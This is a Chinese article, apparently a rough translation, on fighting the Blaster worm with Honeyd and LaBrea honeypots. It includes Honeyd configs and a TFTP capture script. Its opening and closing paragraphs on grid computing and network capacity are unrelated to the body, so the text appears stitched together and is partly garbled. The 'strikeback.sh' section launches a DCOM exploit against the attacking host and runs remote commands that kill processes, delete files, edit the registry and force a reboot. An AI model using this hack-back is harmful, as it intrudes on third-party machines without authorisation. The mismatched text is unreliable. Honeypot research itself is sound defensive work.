网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。
2003年夏天,对于运行着Microsoft Windows的成千上万台主机来说简直就是场噩梦!也给广大网民留下了悲伤的回忆,这一些都归结于冲击波蠕虫的全世界范围的传播。这种事件也以不是第一次了,以往的Slammer, Code Red,Nimda 蠕虫同样也有着类似的破坏效果。
这种蠕虫会在被感染的机器上自己复制,以其达到通过蔓布因特网感染其他的机器的目的。导致了人们对网络安全问题的重视。
人们总是习惯于相同类型的系统与程序。这同达尔文的某个理论相似,单作的这使许多网络安全专家畏惧连到因特网,而遭到一种新的恶意的蠕虫的攻击,如果最近的冲击波能格式Windows 的机器的硬盘会是什么下场?虽然它没这种效果,但它可以轻易的达到那种效果,
随着新的网络攻击的水平不断提高,提出一个新的解决方案必须的。
这篇文章是说用Honeypots 同Internet 蠕虫作斗争的方法,第一部分介绍讨论关于传播广泛的蠕虫的背景知识,然后,讨论Honeypots 的一些实用的功能。最后,我们将搭建一个Honeypots来同Internet 蠕虫作斗争和反击。最后,我们将展望一下未来的观点。
1.0 关于蠕虫
简单点说,蠕虫就是有着危害的代码来攻击网上的受害主机,并在受害主机上自我复制,再攻击其他的受害主机的令人畏惧的实体。
大多数时间, 蠕虫程序都是计算机黑客,网络安全研究人员和病毒作者写的。病毒传染基于迷惑人脆弱的部分,通过社会工程学来传播。比如,迷惑一个用户敲击一个电子邮件附件,以其达到目的。
蠕虫主要有三种主要特性:
感染: 通过利用脆弱感染一个目标。
潜伏:感染当地目标远程主机。
传播:影响的目标,再感染其他的主机。
2.0 关于 honeypots
Honeypots是一个哄骗进攻者的计算机。在一个网络上,恶意的攻击者将会攻击伪造的系统,他们使尽一些方法得到的只是一些无关的信息。
当一个honeypot作为伪造的主机,常常哄骗进攻者时,这就意味着所有的请求到honeypot都是可怀疑的,
honeypots 经常认为用于被动分析时,他们也能起交互式作用来处理蠕虫,两种honeypots 经常被使用。
高级应用:一种真正的主机通常几乎牺牲(叫做傀儡主机),在一个网络在等待任何进攻者攻击。
低级应用:服务器和/或主机是模拟的(例如Honeyd by Niels Provos)
3.0 蜜罐同蠕虫的对抗
这章的目标将是证明交互式honeypots 同蠕虫作斗争的优势,我们将明白怎么使用新的蜜罐技术来防御不同的阶段期间的蠕虫,
3.1 蠕虫与蠕虫的感染
蠕虫感染的阶段就是它在受害主机上自我复制攻击其他的主机。
在这个阶段期间 ,作为防守者的蜜罐会检测非法入侵者的行为。比如,监视网络,这项技术通常被称为太公钓鱼,愿者上钩。防守者的蜜罐是一个建在网关上的,扮演着一个
防火墙,或者入侵检测系统(IDS),或者是入侵防御系统(IPS)。它过滤了通过网络的流量,分析数据包的内容。然后,如果网络的地址同那些知名的攻击的指纹是否相同,在检验之后,网关将标记一定时期内的危害的源地址。因此,危害的数据包将被重定向到蜜罐中,而不是主网络中。
对于最近的冲击波蠕虫,如果网关机器对来自外部的TCP数据包请求本地135端口,被IDS进行标记。他将被重定向到蜜罐中。我们将在第3.3章中讨论蜜罐未来的新功能。
我们也发现了这门技术的缺点:
1,标记总是晚于新的未知的攻击,
2,这一概念是可靠的吗?如果因为错误的配置而系统出错,将合法的数据包发到蜜罐中该怎么办?
3,网络速度因为网关的巨量的分析而被减慢。
3.2 蜜罐与蠕虫的潜伏
蜜罐技术对于对付是非常有用的,特别是扑获和分析它们。为了扑获到一个蠕虫,你可以让一台主机感染上,至少让蠕虫认为已感染上了,在前一章了,我们看到我们能用蜜罐来转向这些攻击的流量。
蜜罐也被称为“傀儡主机”(一个正常的没有打最新补丁的漏洞主机,有被入侵的可能性)。或者模拟一个服务,注意要让她们在你的控制下不能在反弹感染其他的主机。如想获得更多的信息,请参考Honeynet Project.的建议。
3.2.1 受害主机
使用一个受害主机,安装着原始的
操作系统和一些适当的服务,也可以通过VMWare来安装许多个操作系统,来迷惑蠕虫的攻击.
为了扑获蠕虫,受害主机等待被感染,以至于监视网络上的流量并发现蠕虫.
3.2.2 虚拟的主机和服务
模拟这个虚拟的主机和服务,honeypot 通过伪造的服务能让远程的蠕虫进行接触。完成这种的程序叫做蜜罐
为了描述这个方法,这里有一种方法来欺骗冲击波蠕虫的,它会欺骗冲击波蠕虫认为对方的Windows 主机开放着135端口,并运行着RPC DCOM 服务。
这个简单的配置通常能成功地发现在因特网上的冲击波蠕虫。
create default set default personality "Windows XP Pro"
add default tcp port 135 open
add default tcp port 4444 "/bin/sh scripts/WormCatcher.sh $ipsrc $ipdst"
set default tcp action block
set default udp action block
这里有一个在Honeyd 发布的对每一个请求4444端口
脚本程序。
!#/bin/sh
# Creation of a directory for every contaminated host
# attacking the honeypot, in order to archive different binaries
mkdir /tmp/$1-$2
# Download of the worm through TFTP in this directory
# (specific behaviour for MSBlast)
cd /tmp/$1-$2/
tftp $1 <<EOF
get msblast.exe
quit
EOF
通过这种简单的配置,我们能在没有操作系统中发现冲击波蠕虫的攻击。这项技术所以很实用.
3.3 蜜罐与蠕虫的传播
3.3.1 对蠕虫请求的回应
当一个蠕虫想传播是,会随机攻击一些IP.在这些目标列表中,一些IP可能没有被用.但其他的IP就会遭到蠕虫的攻击,如果一些IP对蠕虫的攻击没有相应的话,它们就会跳过这些IP攻击其他的IP.
当一个蠕虫攻击一个不存在的主机时,蜜罐就会伪装信息让蠕虫攻击它.
比如,冲击波会随机选择攻击开了135端口的主机.对没有用的IP,我们可以设置蜜罐来诱扑冲击波蠕虫.要用到叫做arpd的demon.具体配置如下:
create default
set default personality "Windows XP Pro"
add default tcp port 135 open
set default tcp action block
set default udp action block
有了这个配置,冲击波蠕虫就会对不存在运行着蜜罐的IP进行攻击,蠕虫会以为对方开着135端口的漏洞主机.通过这门技术,冲击波蠕虫就会被伪造的信息欺骗,达到拖延时间,进而通知管理员,采取措施,对进程中的程序进行清理.避免遭到冲击波的控制.
如果一个新的蠕虫设计过于复杂,这个蜜罐就不是那么好配置了.
3.3.2 对蜜罐的缓慢的回应
继续前一章的,蜜罐能监视所进来得请求的数据,使在网络层的对蠕虫的回应减慢,这项技术以被使用,所用到的工具叫做Labrea。这个Unix daemon 能对未存在的IP作出回应。为了模拟对攻击者的TCP session。它使用合法的RFC的文档,来最大化的拖延TCP session的时间。为了避免蠕虫的攻击,TCP window size 始终保持为0。
通常下蠕虫都是以一个进程在受害主机上的。在内核中使用classic network calls来到处传播,在用户的领域使用classic API。蠕虫不知道网络为什么运行这么慢,它会减慢并阻塞伪造的目标。
作为实验,Labrea已成功地战胜了红色代码蠕虫,它也可能对付其他的蠕虫攻击。在未来的Honeyd 系统中将添加这样的功能。
尽管这种防守体系有很多缺点,比如多线程的蠕虫或未意识到的蠕虫会同时攻击一些目标,而不会阻塞我们伪造的目标。
3.3.3 我们应采取什么反击措施
一些已发布的反击措施
*孤立一些主机
*关闭蠕虫敏感的远程的服务
*对远程设备(路由器,防火墙等等)制定合适的
流量监控 3.3.4 Launching a counter offensive
这里有一个通过Honeyd配置的例子,
create default
set default personality "Windows XP Pro"
add default tcp port 135 open
add default tcp port 4444 "/bin/sh scripts/strikeback.sh $ipsrc"
set default tcp action block
set default udp action block
蜜罐的TCP 135端口开着,并接受冲击波蠕虫的攻击,幸运的是,蠕虫没有检查RPC 回应的完整。因此,蜜罐经过三次握手的过程,来检测非法的数据包。
然后,我们添加一个4444端口服务,它可以让冲击波获得远程的SHELL,包括通过TFTP来执行下载代码。这个伪造的SHELL将通过一个叫做strikeback.sh来欺骗蠕虫。
以下是运行在Windows XP Pro系统下的strikeback.sh程序,
!#/bin/sh
# Launches a DCOM exploit toward the infected attacking host
# and then run cleaning commands in the remote DOS shell obtained
./dcom_exploit -d $1 << EOF
REM Executes the following orders on the host :
REM 1) Kill the running process MSBlast.exe
taskkill /f /im msblast.exe /t
REM 2) Eliminate the binary of the worm
del /f %SystemRoot%system32msblast.exe
REM 3) Clean the registry
echo Regedit4 > c: cleanerMSB.reg
echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >> c:cleanerMSB.reg
echo "auto windows update" = "REM msblast.exe" >> c: cleanerMSB.reg
regedit /s c: cleanerMSB.reg
del /f c:cleanerMSB.reg
REM N) Specific actions to update the Windows host could be added here
REM N+1) Reboot the host
shutdown -r -f -t 0 exit
EOF
4.0 总结
蜜罐技术已成为对抗蠕虫的有效措施。它们把蠕虫的流量重定向到伪造的主机上,以至于扑获到蠕虫并分析它们的特征,来限制蠕虫在网络上的传播。
网络的神奇作用吸引着越来越多的用户加入其中,正因如此,网络的承受能力也面临着越来越严峻的考验―从硬件上、软件上、所用标准上......,各项技术都需要适时应势,对应发展,这正是网络迅速走向进步的催化剂。
……